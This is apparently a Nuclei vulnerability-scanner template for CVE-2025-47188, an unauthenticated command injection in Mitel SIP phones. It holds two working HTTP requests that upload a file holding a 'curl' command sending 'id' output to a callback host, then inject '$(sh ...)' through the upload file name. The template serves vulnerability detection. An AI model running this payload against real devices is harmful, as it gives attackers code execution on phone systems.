CVE-2025-47188: Mitel 6000 - OS Command Injection

id: CVE-2025-47188

info:
  name: Mitel 6000 - OS Command Injection
  severity: critical
  author: matejsmycka
  description: |
    A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones through 6.4 SP4 (R6.4.0.4006), and the 6970 Conference Unit through 6.4 SP4 (R6.4.0.4006) or version V1 R0.1.0, could allow an unauthenticated attacker to conduct a command injection attack due to insufficient parameter sanitization. This template should be run on port 49249/tcp.
  impact: |
    Unauthenticated attackers can execute arbitrary commands, potentially disclosing or modifying sensitive data and disrupting device operation.
  remediation: |
    Update to the latest Mitel firmware version beyond 6.4 SP4.
  reference:
    - https://labs.infoguard.ch/posts/cve-2025-47188_mitel_phone_unauthenticated_rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47188
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-47188
    epss-score: 0.50237
    epss-percentile: 0.98846
    cpe: cpe:2.3:a:mitel:6000:*:*:*:*:*:*:*:*
  metadata:
    vendor: mitel
    max-request: 2
    fofa-query: icon_hash="-1940372141" || icon_hash="-447557905"
  tags: cve,cve2025,rce,network,mitel,oast,oob,vkev,vuln

variables:
  waf_file: "524946462400000057415645666d7420100000000100010044ac000088580100020010006461746100000000"
  random_number: "{{rand_base(8)}}"

http:
  - raw:
      - |
       POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0 HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f

       ------0ba2fc3a8c91370bd74c5f7ab65fda3f
       Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="{{random_number}}.txt"

       {{hex_decode(waf_file)}}
       curl -d $(id) {{interactsh-url}}
       ------0ba2fc3a8c91370bd74c5f7ab65fda3f--

      - |
       POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0 HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f

       ------0ba2fc3a8c91370bd74c5f7ab65fda3f
       Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="fake$(sh ${HOME}userdata${HOME}ringtone${HOME}{{random_number}}.txt).wav"


       This is an invalid WAV file
       ------0ba2fc3a8c91370bd74c5f7ab65fda3f--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body_1
        words:
          - "ringtone.html"
# digest: 4b0a00483046022100dc7f160ea4e5a19ffc3a4ba07eea78d4b810979621d5d606b25597c35adfa14c022100ce238bc19f6ec26a283742328fcf949fefb152f6fce300aba5adc2b7f880d83f:922c64590222798bb761d5b6d8e72950

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